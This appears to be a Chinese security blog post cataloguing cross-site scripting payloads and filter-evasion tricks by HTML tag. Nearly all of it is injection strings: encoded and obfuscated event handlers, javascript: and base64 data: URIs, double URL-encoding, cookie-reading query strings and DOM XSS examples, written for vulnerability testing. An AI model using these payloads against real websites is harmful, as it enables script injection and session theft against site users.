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[SAFE-ID: JIWO-2024-2414]   作者: 如一 发表于: [2019-07-12]

本文共 [476] 位读者顶过

XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如<a><img>等。

';alert(String.fromCharCode(88,83,83))//[出自:jiwo.org]
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

 

 <iframe src="http://www.baidu.com" height="250" width="300"></iframe>

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

 

<script>alert(String.fromCharCode(88, 83, 83))</script>

<script>alert('xss')</script>

<p><svg onload=prompt(/xss/)></p>   //遇到过这种情况

%253Csvg%2520onload%253Dprompt(/xss/)%253E  //<>=双层urlencode

 

在使用加号做字符串连接的时候,中间的js会被执行:

http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document。cookie)%2b%27

http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document。cookie)%27)%2b%27

 

<img> 标签

XSS利用1:

<img src=javascript:alert('xss')>   //版本,E7.0|IE6.0,才能执行
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  //版本,E7.0|IE6.0,才能执行
<img src="URL" style='Xss:expression(alert(/xss/));'>  //版本,E7.0|IE6.0,才能执行 

CSS标记XSS

<img STYLE="background-image:url(javascript:alert('XSS'))">  //版本,E7.0|IE6.0,才能执行

CSS样式表的标记进行XSS转码

<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">   //版本,E7.0|IE6.0,才能执行

 

XSS利用2:

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> //可以不加"和;
原code:
<img src="x" onerror="alert(1)">

 

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  //必须要有双引号,不然执行不了

原code:

<img src="1" onerror=eval("alert('xss')")></img> //可以去掉双引号

 

 

XSS利用3:

 

<img src=1 onerror=alert('xss')> 

 

<img src=1 onmouseover=alert('xss') a1=1111> 

 

 

 

 

<a> 标签

标准格式:

<a href="http://www.baidu.com">百度</a>  XSS利用1: <a href="javascript:alert('xss')">2</a>  //可以去掉双引号 <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>   //不能去掉双引号
<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2</a>  //可以去掉双引号 原code:
<a href=javascript:eval("alert('xss')")>2</a> 

<a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>

 
 <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">2</a>
<a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>
原code:
<a href="javascript:alert('xss')">2</a>
 xss利用2:
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64编码,在谷歌浏览器可以成功解析

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
原code: 
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= <script>alert('xss')</script>

XSS利用3:
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaaaa</a>   //可以去掉双引号和;
原code:
<a href="" onclick="alert(1)">aaaaa</a>

<a href="" onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a> 
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a>   //单引号和双引号都可以
<a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaaaa</a>  //可以成功弹窗,如果在url地址栏输入的时候,要进行urlenode编码

原code:
eval("alert('xss')") 

<a href="#" onclick=alert(‘\170\163\163’)>test3</a>  //可以成功执行

原code:

<a href="#" onclick=alert('xss')>test3</a>

 XSS利用4:
<a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a>   //可以实现弹窗 

<input> 标签

一般格式:<INPUT name="name" value="">

<input value="" onclick="alert(11)" type="text">
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">

<INPUT name="name" value=""><script>alert(123)</script>

小技巧: 

当XSS遇到input hidden属性

1、使用expression突破

1
<input type=hidden style=`x:expression(alert(/xss/))`>

直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。

2、使用accesskey突破

<input type="hidden" accesskey="X" onclick="alert(/xss/)">

插入之后,使用ALT+SHIFT+X快捷键来触发XSS,此方法我在firefox下面测试通过,其它浏览器尚未可知。

类似这种span标签在网页无触发点,也可以这样子用。

<span id="span"  recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>

 

<form> 标签

<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>


<form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>

 

<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>

 

<iframe> 标签

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>     //谷歌浏览器下实现弹窗


<iframe src=1 onmouseover=alert('xss') y=2016 /><iframe> 

<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;;" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有点特别

<iframe src="vbscript:msgbox(123)"></iframe> 
 
 遇到的DOM xss 记录一下: 

123 <script type="text/javascript"> document.write(unescape("%3Cscript src='/visit_log.jspx%3Furl%3D")+document.location.href+unescape("%26referrer%3D")+document.referrer+unescape("' type='text/javascript'%3E%3C/script%3E")); </script>

http://192.168.106.141/1.html

Referer:http://%22'accesskey='X'onclick='alert(/xss/)'//

 

DOM案例二:

 


123 <script type="text/javascript"> function SetCookie(sName, sValue, timeKeep)
{ var now=new Date(); var expireTime= new Date(now.valueOf()+timeKeep*60000*60);
    document。cookie = sName + "=" + escape(sValue) + "; path=/; expires=" + expireTime.toGMTString() + ";";
}

function GetCookie(sName)
{ var aCookie = document。cookie.split("; "); for (var i=0; i < aCookie.length; i++)
    { var aCrumb = aCookie[i].split("="); if (sName == aCrumb[0]) return unescape(aCrumb[1]);
    } return null;
}

function GetCurrentDateTime()
{ var date = new Date(); var current=new String("");
    current += date.getFullYear()+"-";
    current += date.getMonth() + 1+"-";
    current += date.getDate()+" ";
    current += date.getHours()+":";
    current += date.getMinutes()+":";
    current += date.getSeconds(); return current;
}

function AddTrackerCount(url, siteID){ try{ var str_cookie_unique = "tracker_cookie_" + siteID; var str_cookie_datetime = "tracker_cookie_datetime_" + siteID; var str_firstAccessUser; if (GetCookie(str_cookie_unique)==null)
        {
            str_firstAccessUser = "True";
            SetCookie(str_cookie_unique,"True",24);
        } else str_firstAccessUser="False"; var str_tracker_lastAccess_datetime = GetCookie(str_cookie_datetime);
        
        SetCookie(str_cookie_datetime,GetCurrentDateTime(),365*24); if (str_tracker_lastAccess_datetime==null)
            str_tracker_lastAccess_datetime = ""; var pars = '&isFirstAccess=' + str_firstAccessUser + '&location=' + escape(location.href) + '&referrer=' + escape(document.referrer) + '&lastAccessDateTime=' + escape(str_tracker_lastAccess_datetime);
        
        document.write(unescape("%3Cscript src='" + url + pars + "' type='text/javascript'%3E%3C/script%3E"));
    }catch(e){}
} </script>


<script type="text/javascript">AddTrackerCount('/sitefiles/services/cms/PageService.aspx?type=AddTrackerCount&publishmentSystemID=1&channelID=17&contentID=269',1);</script>

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